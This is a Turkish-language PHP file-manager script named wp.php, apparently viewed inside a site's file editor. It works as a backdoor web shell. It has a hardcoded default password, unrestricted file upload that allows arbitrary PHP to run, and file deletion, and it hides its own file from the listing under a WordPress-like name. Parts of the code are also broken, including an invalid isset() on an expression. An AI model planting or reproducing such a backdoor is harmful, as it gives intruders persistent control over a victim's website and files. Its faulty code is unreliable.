Dosya Yöneticisi
Konum:
/
wp.php
<?php // === ŞİFRE KORUMASI (ZORUNLU!) === $username = "admin"; $password = "sifre123"; // Burayı mutlaka değiştir! session_start(); if (!isset($_SESSION['logged_in'])) { if (isset($_POST['pass']) && $_POST['user'] === $username && $_POST['pass'] === $password) { $_SESSION['logged_in'] = true; } else { echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>Giriş</title> <style>body{font-family:Arial;background:#222;color:#0f0;text-align:center;padding:100px;} input{padding:10px;margin:5px;width:200px;}</style></head> <body><h2>Dosya Yöneticisi - Giriş</h2> <form method="post"> Kullanıcı: <input type="text" name="user"><br> Şifre: <input type="password" name="pass"><br> <input type="submit" value="Giriş Yap"> </form></body></html>'; exit; exit; } } // Mevcut dizini al (güvenlik için sadece belirli bir klasörde kalmasını istiyorsan aşağıyı düzenle) $root = $_SERVER['DOCUMENT_ROOT']; $current_dir = realpath(isset($_GET['dir']) ? $_GET['dir'] : __DIR__); if (strpos($current_dir, $root) !== 0) $current_dir = __DIR__; // kök dışına çıkmayı engelle function formatBytes($size, $precision = 2) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; for ($i = 0; $size > 1024 && $i < count($units) - 1; $i++) $size /= 1024; return round($size, $precision) . ' ' . $units[$i]; } // Dosya silme if (isset($_GET['delete'] ?? '') !== '') { $file = $current_dir . '/' . $_GET['delete']; if (is_file($file)) unlink($file); elseif (is_dir($file)) { array_map('unlink', glob($file.'/*')); rmdir($file); } header("Location: " . $_SERVER['PHP_SELF'] . "?dir=" . urlencode($_GET['dir'] ?? '')); exit; } // Dosya yükleme if (isset($_FILES['file'])) { move_uploaded_file($_FILES['file']['tmp_name'], $current_dir . '/' . $_FILES['file']['name']); } // Yeni klasör oluşturma if (isset($_POST['newfolder'])) { mkdir($current_dir . '/' . $_POST['newfolder'], 0755); } ?> <!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <title>PHP Dosya Yöneticisi</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style> body {font-family: 'Segoe UI', sans-serif; background:#111; color:#0f0; margin:0; padding:20px;} a {color:#0f0; text-decoration:none;} a:hover {text-decoration:underline;} table {width:100%; border-collapse:collapse; margin:20px 0;} th, td {padding:10px; border:1px solid #0f0 solid; text-align:left;} th {background:#003300;} tr:nth-child(even) {background:#002200;} input, button {padding:8px; margin:5px;} .up {font-size:20px; margin-bottom:10px;} .actions {float:right;} </style> </head> <body> <h1>PHP Dosya Yöneticisi</h1> <p><strong>Mevcut Yol:</strong> <?= htmlspecialchars($current_dir) ?></p> <!-- Üst klasöre git --> <?php if ($current_dir != $root && dirname($current_dir) != $current_dir): ?> <a class="up" href="?dir=<?= urlencode(dirname($current_dir)) ?>">⬆ Üst Klasör</a><br><br> <?php endif; ?> <!-- Dosya yükleme --> <form method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <button type="submit">Dosya Yükle</button> </form> <!-- Yeni klasör --> <form method="post" style="display:inline;"> <input type="text" name="newfolder" placeholder="Yeni klasör adı" required> <button type="submit">Klasör Oluştur</button> </form> <hr> <table> <thead> <tr> <th>Dosya/Klasör Adı</th> <th>Boyut</th> <th>Son Düzenlenme</th> <th>İşlemler</th> </tr> </thead> <tbody> <?php $items = scandir($current_dir); foreach ($items as $item) { if ($item === '.' || $item === basename(__FILE__)) continue; // bu scripti gizle $path = $current_dir . '/' . $item; $isDir = is_dir($path); $size = $isDir ? '-' : formatBytes(filesize($path)); $time = date("d.m.Y H:i", filemtime($path)); $link = $isDir ? '?dir=' . urlencode($path) : '?dir=' . urlencode($current_dir) . '&view=' . urlencode($item); echo "<tr> <td><a href='$link'>" . ($isDir ? "📁 " : "📄 ") . htmlspecialchars($item) . "</a></td> <td>$size</td> <td>$time</td> <td> <a href='?dir=" . urlencode($current_dir) . "&delete=" . urlencode($item) . "' onclick=\"return confirm('Silmek istediğine emin misin? \\n\\n$item')\">🗑 Sil</a> </td> </tr>"; } ?> </tbody> </table> <p><a href="?logout=1">Çıkış Yap</a></p> <?php if (isset($_GET['logout'])) { session_destroy(); header("Location: " . $_SERVER['PHP_SELF']); exit; } ?> </body> </html>
Kaydet
İptal